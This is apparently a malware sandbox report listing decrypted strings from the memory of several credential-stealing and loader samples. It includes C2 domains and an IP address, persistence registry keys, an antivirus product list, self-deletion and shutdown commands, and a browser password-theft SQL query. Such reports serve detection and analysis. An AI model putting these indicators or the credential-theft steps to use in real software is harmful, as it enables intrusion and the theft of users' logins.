Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: skotes.exe
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 7uZzAf--
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 07
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 01
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 20
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 25
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetProcAddress
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: LoadLibraryA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: lstrcatA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: OpenEventA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateEventA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CloseHandle
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Sleep
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: VirtualFree
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetSystemInfo
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: VirtualAlloc
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HeapAlloc
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetComputerNameA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: lstrcpyA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetProcessHeap
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetCurrentProcess
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: lstrlenA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ExitProcess
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetSystemTime
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: advapi32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: gdi32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: user32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: crypt32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetUserNameA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateDCA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetDeviceCaps
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ReleaseDC
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sscanf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: VMwareVMware
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HAL9TH
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: JohnDoe
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DISPLAY
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: http://185.215.113.206
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: stok
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetFileAttributesA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HeapFree
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetFileSize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GlobalSize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: IsWow64Process
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Process32Next
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetLocalTime
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: FreeLibrary
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetVolumeInformationA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Process32First
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetLocaleInfoA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetModuleFileNameA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DeleteFileA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: FindNextFileA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: LocalFree
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: FindClose
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: LocalAlloc
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetFileSizeEx
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ReadFile
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SetFilePointer
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: WriteFile
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateFileA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: FindFirstFileA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CopyFileA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: VirtualProtect
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetLastError
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: lstrcpynA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: MultiByteToWideChar
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GlobalFree
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: WideCharToMultiByte
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GlobalAlloc
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: OpenProcess
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: TerminateProcess
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetCurrentProcessId
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: gdiplus.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ole32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: bcrypt.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: wininet.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: shlwapi.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: shell32.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: rstrtmgr.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SelectObject
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BitBlt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DeleteObject
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateCompatibleDC
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdiplusStartup
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdiplusShutdown
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipDisposeImage
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GdipFree
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CoUninitialize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CoInitialize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CoCreateInstance
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptDecrypt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptSetProperty
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptDestroyKey
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetWindowRect
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetDesktopWindow
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetDC
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CloseWindow
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: wsprintfA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CharToOemW
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: wsprintfW
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RegQueryValueExA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RegEnumKeyExA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RegOpenKeyExA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RegCloseKey
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RegEnumValueA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CryptUnprotectData
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SHGetFolderPathA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ShellExecuteExA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: InternetOpenUrlA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: InternetConnectA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: InternetCloseHandle
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HttpSendRequestA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HttpOpenRequestA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: InternetReadFile
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: InternetCrackUrlA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: StrCmpCA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: StrStrA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: StrCmpCW
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PathMatchSpecA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RmStartSession
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RmRegisterResources
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RmGetList
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: RmEndSession
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_open
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_step
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_column_text
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_finalize
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_close
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3_column_blob
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: encrypted_key
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PATH
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: NSS_Init
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: NSS_Shutdown
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PK11_FreeSlot
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PK11_Authenticate
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: C:\ProgramData\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: browser:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: profile:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: url:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: login:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: password:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Opera
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: OperaGX
